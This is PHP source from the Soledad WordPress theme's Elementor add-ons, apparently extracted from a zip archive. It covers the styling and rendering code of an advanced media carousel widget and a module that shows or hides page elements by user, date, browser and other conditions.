				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-media-ctinner:before' => 'opacity: {{SIZE}};'
				)
			)
		);

		$this->add_responsive_control(
			'ctoverlay_hopacity', array(
				'label'     => __( 'Overlay Opacity on Hover', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1, 'step' => 0.05 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-inct:hover .pc-media-ctinner:before' => 'opacity: {{SIZE}};'
				)
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_content', array(
				'label' => __( 'Advanced Carousel Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE
			)
		);

		$this->add_control(
			'heading_carousel_slides', array(
				'label'     => __( 'Carousel Slides', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'     => 'slides_bg',
				'label'    => __( 'Slides Background', 'soledad' ),
				'types'    => array( 'classic', 'gradient' ),
				'selector' => '{{WRAPPER}} .penci-media-inct',
			)
		);

		$this->add_control(
			'slides_borders', array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-media-inct' => 'border: 1px solid {{VALUE}};'
				)
			)
		);

		$this->add_responsive_control(
			'slides_borders_width', array(
				'label'      => __( 'Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-inct' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'heading_carousel_content', array(
				'label'     => __( 'Carousel Content', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'text_align', array(
				'label'     => __( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-left'
					),
					'center' => array(
						'title' => __( 'Center', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-center'
					),
					'right'  => array(
						'title' => __( 'Right', 'elementor-pro' ),
						'icon'  => 'eicon-text-align-right'
					)
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-content' => 'text-align: {{VALUE}};'
				)
			)
		);

		$this->add_control(
			'content_position',
			array(
				'label'                => __( 'Vertical Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'condition'            => array( 'contentpos' => 'on' ),
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pc-ctpos-on .penci-media-content' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
			)
		);

		$this->add_control(
			'heading_stitle', array(
				'label'     => __( 'Sub Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'stitle_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-media-stit' => 'color: {{VALUE}};'
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'stitle_typography',
				'selector' => '{{WRAPPER}} .penci-media-stit'
			)
		);

		$this->add_control(
			'heading_title', array(
				'label'     => __( 'Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'title_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-title' => 'color: {{VALUE}};'
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typography',
				'selector' => '{{WRAPPER}} .penci-media-carousels .penci-media-title'
			)
		);

		$this->add_control(
			'heading_description', array(
				'label'     => __( 'Description', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before'
			)
		);

		$this->add_control(
			'description_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-desc' => 'color: {{VALUE}};'
				)
			)
		);

		$this->add_control(
			'description_linkcolor', array(
				'label'     => __( 'Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-media-carousels .penci-media-desc a' => 'color: {{VALUE}};'
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'description_typography',
				'selector' => '{{WRAPPER}} .penci-media-carousels .penci-media-desc'
			)
		);

		$this->add_control(
			'rm_style',
			array(
				'label'     => __( 'Read More Button', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'rm_bgcolor',
			array(
				'label'     => __( 'Button Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'rm_bghcolor',
			array(
				'label'     => __( 'Button Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a:hover' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'rm_color',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'rm_hcolor',
			array(
				'label'     => __( 'Button Hover Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'rm_typo',
				'label'    => __( 'Button Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-media-rmbtn a',
			)
		);

		$this->add_responsive_control(
			'btn_padding', array(
				'label'      => __( 'Button Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-rmbtn a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'btn_bdradius', array(
				'label'      => __( 'Button Borders Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-rmbtn a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'addrmborder', array(
				'label'        => __( 'Add Button Borders', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);

		$this->add_responsive_control(
			'btn_bdwidth', array(
				'label'      => __( 'Button Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'condition'  => array( 'addrmborder' => 'yes' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-media-rmbtn a' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'rm_bcolor',
			array(
				'label'     => __( 'Button Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'addrmborder' => 'yes' ),
			)
		);
		$this->add_control(
			'rm_hbcolor',
			array(
				'label'     => __( 'Button Hover Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-media-rmbtn a:hover' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'addrmborder' => 'yes' ),
			)
		);

		$this->end_controls_section();
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function get_repeater_defaults() {
		$placeholder_image_src = Utils::get_placeholder_image_src();

		return array_fill( 0, 5, array(
			'image' => array( 'url' => $placeholder_image_src )
		) );
	}

	protected function render() {
		$settings = $this->get_settings();

		if ( empty( $settings['slides'] ) ) {
			return;
		}

		$css_class  = 'penci-block-vc penci-media-carousels';
		$contentpos = $settings['contentpos'] ? $settings['contentpos'] : 'below';
		$css_class  .= ' pc-ctpos-' . $contentpos;

		$data_slider = $settings['showdots'] ? ' data-dots="true"' : '';
		$data_slider .= ! $settings['shownav'] ? ' data-nav="true"' : '';
		$data_slider .= ! $settings['loop'] ? ' data-loop="true"' : '';
		$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
		$data_slider .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : '';
		$data_slider .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : '';
		$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';
		$data_slider .= ' data-seffect="' . $settings['single_slider_effect'] . '"';


		//$data_slider .= ' data-margin="' . ( isset( $settings['slides_item_gap'] ) && $settings['slides_item_gap'] ? $settings['slides_item_gap'] : '10' ) . '"';
		$data_slider .= ' data-item="' . ( isset( $settings['slides_per_view'] ) && $settings['slides_per_view'] ? $settings['slides_per_view'] : '3' ) . '"';
		$data_slider .= ' data-desktop="' . ( isset( $settings['slides_per_view'] ) && $settings['slides_per_view'] ? $settings['slides_per_view'] : '3' ) . '" ';
		$data_slider .= ' data-tablet="' . ( isset( $settings['slides_per_view_tablet'] ) && $settings['slides_per_view_tablet'] ? $settings['slides_per_view_tablet'] : '2' ) . '"';
		$data_slider .= ' data-tabsmall="' . ( isset( $settings['slides_per_view_tablet'] ) && $settings['slides_per_view_tablet'] ? $settings['slides_per_view_tablet'] : '2' ) . '"';
		$data_slider .= ' data-mobile="' . ( isset( $settings['slides_per_view_mobile'] ) && $settings['slides_per_view_mobile'] ? $settings['slides_per_view_mobile'] : '1' ) . '"';
		?>

        <div class="<?php echo esc_attr( $css_class ); ?>">
            <div class="penci-advanced-carousel-mg">
                <div class="penci-block_content penci-owl-carousel swiper penci-advanced-carousel penci-owl-carousel-slider" <?php echo $data_slider; ?>>
                    <div class="swiper-wrapper">
						<?php
						$slide_prints_count = 0;
						$image_size         = isset( $settings['image_size'] ) && $settings['image_size'] ? $settings['image_size'] : 'penci-thumb';
						$image_size_mobile  = isset( $settings['image_size_mobile'] ) && $settings['image_size_mobile'] ? $settings['image_size_mobile'] : '';
						$border_class       = $settings['addrmborder'] ? ' pc-rmbtn-borders' : '';
						if ( penci_is_mobile() && $image_size_mobile ) {
							$image_size = $image_size_mobile;
						}

						foreach ( $settings['slides'] as $index => $slide ) {
							$slide_prints_count ++;

							$slide_stitle = $slide['stitle_text'] ? $slide['stitle_text'] : '';
							$slide_title  = $slide['title_text'] ? $slide['title_text'] : '';
							$desc_title   = $slide['description_text'] ? $slide['description_text'] : '';
							$button_text  = $slide['treadmore'] ? $slide['treadmore'] : '';
							$btnadd_icon  = $slide['btnadd_icon'] ? $slide['btnadd_icon'] : '';
							$icon_pos     = $slide['icon_pos'] ? $slide['icon_pos'] : 'left';
							$item_id      = $slide['_id'] ? ' elementor-repeater-item-' . $slide['_id'] : '';

							$element_key        = 'slide-' . $index . '-' . $slide_prints_count;
							$slider_img         = $this->get_slide_image_url( $slide, $settings );
							$slider_img_display = penci_get_image_size_url( $slider_img, $image_size );

							$this->add_render_attribute( $element_key . '-image', array(
								'class'      => 'penci-image-holder penci-lazy',
								'data-bgset' => $slider_img_display,
							) );

							$a_before    = $a_after = '';
							$reders_href = false;

							$slide_type = isset( $slide['type'] ) ? $slide['type'] : 'image';

							if ( 'image' == $slide_type ) {
								if ( 'custom' === $slide['image_link_to_type'] ) {
									if ( $slide['image_link_to']['is_external'] ) {
										$this->add_render_attribute( $element_key . '_link', 'target', '_blank' );
									}
									if ( $slide['image_link_to']['nofollow'] ) {
										$this->add_render_attribute( $element_key . '_link', 'nofollow', '' );
									}
									if ( $slide['image_link_to']['url'] ) {
										$this->add_render_attribute( $element_key . '_link', 'href', $slide['image_link_to']['url'] );
									}
									$reders_href = true;
								} else if ( 'file' === $slide['image_link_to_type'] ) {
									$this->add_render_attribute( $element_key . '_link', array(
										'class' => 'elementor-clickable',
										'href'  => $slider_img,
									) );
									$reders_href = true;
								}

							} else if ( 'video' == $slide_type && $slide['video']['url'] ) {
								$this->add_render_attribute( $element_key . '_link', 'class', 'penci-other-layouts-lighbox' );
								$this->add_render_attribute( $element_key . '_link', 'href', $slide['video']['url'] );
								$reders_href = true;
							}

							if ( $reders_href ) {
								$a_before = '<a ' . $this->get_render_attribute_string( $element_key . '_link' ) . '>';
								$a_after  = '</a>';
							}
							?>
                            <div class="swiper-slide penci-media-item<?php echo $item_id; ?>">
                                <div class="penci-media-inner">
                                    <div class="penci-media-inct">
                                        <div class="penci-media-img">
											<?php if ( 'on' != $contentpos ): echo $a_before; endif; ?>
                                            <div class="pc-adcr-overlay"></div>
											<?php if ( 'on' != $contentpos ): echo $a_after; endif; ?>
                                            <div <?php echo $this->get_render_attribute_string( $element_key . '-image' ); ?>>
												<?php
												if ( 'video' === $slide['type'] ) {
													echo '<div class="overlay-icon-format normal-size-icon">';
													penci_fawesome_icon( 'fas fa-play' );
													echo '</div>';
												}
												?>
                                            </div>
                                        </div>
										<?php if ( $slide_stitle || $slide_title || $desc_title || $button_text ) : ?>
                                            <div class="penci-media-content">
												<?php if ( 'on' == $contentpos && $a_before && $a_after ) { ?>
													<?php echo $a_before . $a_after; ?>
												<?php } ?>
                                                <div class="pc-media-ctinner">
													<?php if ( $slide_stitle ): ?>
                                                        <div class="penci-media-stit"><?php echo $slide_stitle; ?></div>
													<?php endif; ?>
													<?php if ( $slide_title ): ?>
                                                        <h3 class="penci-media-title"><?php echo $slide_title; ?></h3>
													<?php endif; ?>
													<?php if ( $desc_title ): ?>
                                                        <div class="penci-media-desc"><?php echo $desc_title ?></div>
													<?php endif; ?>
													<?php if ( $button_text || 'yes' == $btnadd_icon ):
														$button_href = $slide['rmlink']['url'] ? $slide['rmlink']['url'] : '';
														$button_target = $slide['rmlink']['is_external'] ? ' target="_blank"' : '';
														$button_nofollow = $slide['rmlink']['nofollow'] ? ' rel="nofollow"' : '';
														?>
                                                        <div class="penci-media-rmbtn<?php echo $border_class; ?>"><a
                                                                    href="<?php echo $button_href; ?>"<?php echo $button_target . $button_nofollow; ?>>
																<?php if ( 'yes' == $btnadd_icon && 'left' == $icon_pos ) {
																	\Elementor\Icons_Manager::render_icon( $slide['rmicon'], [ 'aria-hidden' => 'true' ] );
																} ?>
																<?php if ( $button_text ) {
																	echo $button_text;
																} ?>
																<?php if ( 'yes' == $btnadd_icon && 'right' == $icon_pos ) {
																	\Elementor\Icons_Manager::render_icon( $slide['rmicon'], [ 'aria-hidden' => 'true' ] );
																} ?>
                                                            </a></div>
													<?php endif; ?>
                                                </div>
                                            </div>
										<?php endif; ?>
                                    </div>
                                </div>
                            </div>
							<?php
						}
						?>
                    </div>
                </div>
            </div>
        </div>

		<?php
	}

	protected function get_slide_image_url( $slide, array $settings ) {
		$image_url = '';

		if ( ! $image_url ) {
			$image_url = $slide['image']['url'];
		}

		return $image_url;
	}

	protected function get_image_link_click( $slide ) {
		if ( $slide['video']['url'] ) {
			return $slide['image']['url'];
		}

		if ( ! $slide['image_link_to_type'] ) {
			return '';
		}

		if ( 'custom' === $slide['image_link_to_type'] ) {
			return $slide['image_link_to']['url'];
		}

		return $slide['image']['url'];
	}
}
PK     N\Ĥg-  -  :  inc/elementor/modules/penci-visibility-controls/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls;

use Elementor\Controls_Manager;
use Elementor\Plugin;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function __construct() {
		parent::__construct();
		$this->add_actions();
		$this->register_conditions();
	}

	public function get_name() {
		return 'penci-visibility-controls';
	}

	public function register_section( $element ) {
		$element->start_controls_section(
			'section_penci_visibility_control_controls',
			[
				'tab'   => Controls_Manager::TAB_ADVANCED,
				'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Visibility Controls', 'soledad' ),
			]
		);

		$element->end_controls_section();
	}

	protected $conditions = [];
	protected $_conditions = [];
	protected $_conditional_repeater;
	protected $conditions_options = [];

	const USER_GROUP = 'user';
	const SYSTEM_GROUP = 'system';
	const DATE_TIME_GROUP = 'date_time';
	const MISC_GROUP = 'misc';

	public function get_groups() {
		return [
			self::USER_GROUP      => [
				'label' => __( 'User', 'soledad' ),
			],
			self::SYSTEM_GROUP    => [
				'label' => __( 'System', 'soledad' ),
			],
			self::DATE_TIME_GROUP => [
				'label' => __( 'Date & Time', 'soledad' ),
			],
			self::MISC_GROUP      => [
				'label' => __( 'Misc', 'soledad' ),
			],
		];
	}

	public function register_conditions() {

		$included_conditions = [
			'authentication',
			'role',
			'date',
			'time_range',
			'date_time_before',
			'time',
			'day',
			'os',
			'browser',
			'language',
			'country',
		];

		foreach ( $included_conditions as $condition_name ) {

			$class_name = str_replace( '-', ' ', $condition_name );
			$class_name = str_replace( ' ', '', ucwords( $class_name ) );
			$class_name = __NAMESPACE__ . '\\Conditions\\' . $class_name;

			if ( class_exists( $class_name ) ) {
				if ( $class_name::is_supported() ) {
					$this->_conditions[ $condition_name ] = $class_name::instance();
				}
			}
		}
	}

	/**
	 * Get the condition name from here
	 *
	 * @param null $condition_name
	 *
	 * @return array|mixed|null
	 */
	public function get_conditions( $condition_name = null ) {
		if ( $condition_name ) {
			if ( isset( $this->_conditions[ $condition_name ] ) ) {
				return $this->_conditions[ $condition_name ];
			}

			return null;
		}

		return $this->_conditions;
	}

	/**
	 * Set condition as per control checking
	 *
	 * @param string $id widget ID
	 * @param array $conditions conditions repeater items
	 */
	protected function set_conditions( $id, $conditions = [] ) {

		if ( ! $conditions ) {
			return;
		}

		foreach ( $conditions as $index => $condition ) {

			$key = '';
			$key = $condition['pvc_condition_key'];

			$relation = $condition['pvc_condition_operator'];
			$val      = $condition[ 'pvc_condition_' . $key . '_value' ];

			$custom_page_id    = $condition['pvc_condition_custom_page_id'];
			$end_time          = $condition['pvc_condition_time_range_end_time'];
			$addition_operator = $condition['pvc_condition_addition_operator'];
			$extra             = isset( $condition[ 'pvc_condition_' . $key . '_name' ] ) ? $condition[ 'pvc_condition_' . $key . '_name' ] : '';

			$_condition = $this->get_conditions( $key );

			if ( ! $_condition ) {
				continue;
			}

			$_condition->set_element_id( $id );

			$check = $_condition->check( $relation, $val, $custom_page_id, $extra, $addition_operator, $end_time );

			$this->conditions[ $id ][ $key . '_' . $condition['_id'] ] = $check;
		}
	}

	public function register_controls( $widget, $args ) {

		$widget->add_control(
			'pvc_display_conditions_enable',
			[
				'label'              => esc_html__( 'Display Conditions', 'soledad' ),
				'type'               => Controls_Manager::SWITCHER,
				'default'            => '',
				'label_on'           => esc_html__( 'Yes', 'soledad' ),
				'label_off'          => esc_html__( 'No', 'soledad' ),
				'return_value'       => 'yes',
				'frontend_available' => true,
			]
		);

		$widget->add_control(
			'pvc_display_conditions_to',
			[
				'label'     => esc_html__( 'To', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'show',
				'options'   => [
					'show' => esc_html__( 'Show', 'soledad' ),
					'hide' => esc_html__( 'Hide', 'soledad' ),
				],
				'condition' => [
					'pvc_display_conditions_enable' => 'yes',
				],
			]
		);

		$widget->add_control(
			'pvc_display_conditions_relation',
			[
				'label'     => esc_html__( 'When', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'all',
				'options'   => [
					'all' => esc_html__( 'All Conditions Met', 'soledad' ),
					'any' => esc_html__( 'Any Condition Met', 'soledad' ),
				],
				'condition' => [
					'pvc_display_conditions_enable' => 'yes',
				],
			]
		);

		$this->_conditional_repeater = new Repeater();

		$this->_conditional_repeater->add_control(
			'pvc_condition_key',
			[
				'label'       => __( 'Select a condition', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'authentication',
				'label_block' => true,
				'groups'      => $this->get_conditions_options(),
			]
		);

		$this->add_name_controls();

		$this->_conditional_repeater->add_control(
			'pvc_condition_operator',
			[
				'type'        => Controls_Manager::SELECT,
				'default'     => 'is',
				'label_block' => true,
				'options'     => [
					'is'  => esc_html__( 'Is', 'soledad' ),
					'not' => esc_html__( 'Is not', 'soledad' ),
				],
			]
		);

		$this->_conditional_repeater->add_control(
			'pvc_condition_addition_operator',
			[
				'type'        => Controls_Manager::SELECT,
				'default'     => 'equal',
				'options'     => [
					'equal'            => esc_html__( 'Equal to', 'soledad' ),
					'greater_or_equal' => esc_html__( 'Greater than or Equal to', 'soledad' ),
				],
				'label_block' => true,
				'condition'   => [
					'pvc_condition_key' => 'orders_placed',
				],
			]
		);

		$this->add_value_controls();

		$this->_conditional_repeater->add_control(
			'pvc_condition_custom_page_id',
			[
				'label'       => esc_html__( 'Custom Page ID', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => '10',
				'label_block' => false,
				'condition'   => [
					'pvc_condition_key'               => 'static_page',
					'pvc_condition_static_page_value' => 'custom',
				],
			]
		);

		$this->_conditional_repeater->add_control(
			'pvc_condition_time_range_end_time',
			[
				'label'          => esc_html__( 'End Time', 'soledad' ),
				'type'           => Controls_Manager::DATE_TIME,
				'dynamic'        => [ 'active' => true ],
				'picker_options' => [
					'noCalendar' => true,
					'dateFormat' => "H:i",
				],
				'label_block'    => true,
				'condition'      => [
					'pvc_condition_key' => 'time_range',
				],
			]
		);

		$widget->add_control(
			'pvc_display_conditions',
			[
				'label'         => esc_html__( 'Conditions', 'soledad' ),
				'type'          => Controls_Manager::REPEATER,
				'prevent_empty' => false,
				'condition'     => [
					'pvc_display_conditions_enable' => 'yes',
				],
				'fields'        => $this->_conditional_repeater->get_controls(),
				'title_field'   => 'Condition - <# print(pvc_condition_key.replace(/_/i, " ").split(" ").map(word => word.charAt(0).toUpperCase() + word.slice(1)).join(" ")) #>',
			]
		);
	}

	/**
	 * Add control name for repeater
	 */
	private function add_name_controls() {
		if ( ! $this->_conditions ) {
			return;
		}

		foreach ( $this->_conditions as $_condition ) {

			if ( false === $_condition->get_name_control() ) {
				continue;
			}

			$condition_name = $_condition->get_name();
			$ctrl_key       = 'pvc_condition_' . $condition_name . '_name';
			$ctrl_settings  = $_condition->get_name_control();

			// Show this only if the user select this specific condition
			$ctrl_settings['condition'] = [
				'pvc_condition_key' => $condition_name,
			];

			$this->_conditional_repeater->add_control( $ctrl_key, $ctrl_settings );
		}
	}

	/**
	 * Add controls values from here
	 */
	private function add_value_controls() {
		if ( ! $this->_conditions ) {
			return;
		}

		foreach ( $this->_conditions as $_condition ) {

			$condition_name = $_condition->get_name();
			$ctrl_key       = 'pvc_condition_' . $condition_name . '_value';
			$ctrl_settings  = $_condition->get_control_value();

			// Show this only if the user select this specific condition
			$ctrl_settings['condition'] = [
				'pvc_condition_key' => $condition_name,
			];

			$this->_conditional_repeater->add_control( $ctrl_key, $ctrl_settings );
		}
	}

	/**
	 * Get the condition options from here
	 * @return array
	 */
	private function get_conditions_options() {

		$groups = $this->get_groups(); // for grouping condtion

		foreach ( $this->_conditions as $_condition ) {
			$groups[ $_condition->get_group() ]['options'][ $_condition->get_name() ] = $_condition->get_title(); // for grouping condtion
		}

		return $groups;
	}

	protected function is_visible( $id, $relation ) {

		if ( ! array_key_exists( $id, $this->conditions ) ) {
			return false;
		}

		if ( ! Plugin::$instance->editor->is_edit_mode() ) {
			if ( 'any' === $relation ) {
				if ( ! in_array( true, $this->conditions[ $id ] ) ) {
					return false;
				}
			} else {
				if ( in_array( false, $this->conditions[ $id ] ) ) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Final condition renderer which will show/hide as per conditions needs
	 *
	 * @param $should_render
	 * @param $widget
	 *
	 * @return bool|mixed
	 */
	public function schedule_before_render( $should_render, $widget ) {

		$settings = $widget->get_settings();

		if ( ! empty( $settings['pvc_display_conditions_enable'] ) && 'yes' === $settings['pvc_display_conditions_enable'] ) {

			$this->set_conditions( $widget->get_id(), $settings['pvc_display_conditions'] ); // set condition

			$check_conditions = $this->is_visible( $widget->get_id(), $settings['pvc_display_conditions_relation'] ); // check condition
			$to               = $settings['pvc_display_conditions_to'];

			if ( ( 'show' === $to && true === $check_conditions ) || ( 'hide' === $to && false === $check_conditions ) ) {
				$should_render = true;
			} else if ( ( 'show' === $to && false === $check_conditions ) || ( 'hide' === $to && true === $check_conditions ) ) {
				$should_render = false;
			}
		}

		return $should_render;
	}

	protected function add_actions() {

		add_action( 'elementor/element/common/_section_style/after_section_end', [ $this, 'register_section' ] );
		add_action( 'elementor/element/section/section_advanced/after_section_end', [ $this, 'register_section' ] );

		add_action( 'elementor/element/common/section_penci_visibility_control_controls/before_section_end', [
			$this,
			'register_controls'
		], 10, 2 );
		add_action( 'elementor/element/section/section_penci_visibility_control_controls/before_section_end', [
			$this,
			'register_controls'
		], 10, 2 );

		add_action( 'elementor/frontend/section/should_render', [ $this, 'schedule_before_render' ], 10, 2 );
		add_filter( 'elementor/frontend/widget/should_render', [ $this, 'schedule_before_render' ], 10, 2 );


		add_action( 'elementor/element/container/section_layout/after_section_end', [ $this, 'register_section' ] );
		add_action( 'elementor/element/container/section_penci_visibility_control_controls/before_section_end', [
			$this,
			'register_controls'
		], 10, 2 );
		add_action( 'elementor/frontend/container/should_render', [ $this, 'schedule_before_render' ], 10, 2 );

	}
}
PK     N\    O  inc/elementor/modules/penci-visibility-controls/conditions/date_time_before.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Date_Time_Before extends Condition {

	
	public function get_name() {
		return 'date_time_before';
	}

	
	public function get_title() {
		return esc_html__( 'Till Date (Server Time)', 'soledad' );
	}

	
	public function get_group() {
		return 'date_time';
	}

	
	public function get_control_value() {
		$default_date = date( 'Y-m-d', strtotime( '+3 day' ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );

		return [
			'label'          => esc_html__( 'Before', 'soledad' ),
			'type'           => Controls_Manager::DATE_TIME,
			'picker_options' => [
				'enableTime' => false,
			],
			'label_block'    => true,
			'default'        => $default_date,
		];
	}

	
	public function check( $relation, $val ) {
		// Check vars
		if ( ! $val ) { // Make sure it's a date
			return;
		}

		// Get timestamps for comparison
		$date_ts = strtotime( $val );
		$today   = current_time( 'timestamp' );

		// Check that today is before specified date
		$show = $today <= $date_ts;

		return $this->compare( $show, true, $relation );
	}
}
PK     N\7S  S  M  inc/elementor/modules/penci-visibility-controls/conditions/authentication.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

